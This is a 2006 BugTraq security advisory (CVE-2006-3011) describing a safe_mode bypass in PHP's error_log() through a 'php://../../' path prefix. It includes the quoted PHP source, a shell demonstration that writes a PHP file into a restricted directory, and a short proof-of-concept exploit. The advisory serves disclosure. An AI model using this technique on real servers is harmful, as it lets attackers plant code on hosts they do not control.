BugTraq
error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2 Jun 25 2006 11:11PM
cxib securityreason com
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[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]

Author: Maksymilian Arciemowicz (cXIb8O3)

Date:

- -Written: 10.6.2006

- -Public: 26.06.2006

from SECURITYREASON.COM

CVE-2006-3011

- --- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.

error_log -- Send an error message somewhere.

- --- 1. error_log() Safe Mode Bypass ---

error_log() function send to email, file or display your error message. You can send error messages per mail or write into files. Issue is very simple. error_log() check safe_mode and open_basedir in stream function. But isn't allowed use URL. And problem exists in incorrect filename.

PHP5:

- -2013-2050---

PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

{

php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */

{

#if HAVE_SENDMAIL

if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {

return FAILURE;

}

#else

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");

return FAILURE;

#endif

}

break;

case 2: /*send to an address */

php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");

return FAILURE;

break;

case 3: /*save to a file */

stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);

if (!stream)

return FAILURE;

php_stream_write(stream, message, strlen(message));

php_stream_close(stream);

break;

default:

php_log_err(message TSRMLS_CC);

break;

}

return SUCCESS;

}

- -2013-2050---

Let's see to option 3.

- -2038 line---

stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);

- -2038 line---

Option "a", writte to file error or if file dosen't exists, create new file.

Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".

IGNORE_URL turn off safe_mode if you use "prefix://../../".

- -Example---

cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'

Warning: error_log(): SAFE MODE Restriction in effect. The script whose uid is 0 is not allowed to access /www/temp owned by uid 80 in Command line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on line 1

cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp/sr.php");'

cxib# ls -la /www/temp/sr.php

- -rw-r--r-- 1 cxib www 16 Jun 11 17:47 /www/temp/sr.php

cxib#

- -Example---

- --- 2. Exploit ---

<?php

$file=""; # FILENAME

error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);

?>

- --- 3. How to fix ---

No response from PHP Team. We have reported this bug in 11.06.2006

- --- 4. Greets ---

For: sp3x

and

p_e_a, l3x, pi3, eax, Infospec, gKPc8O3

- --- 5. Contact ---

Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]

Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com

GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

SecurityReason.Com

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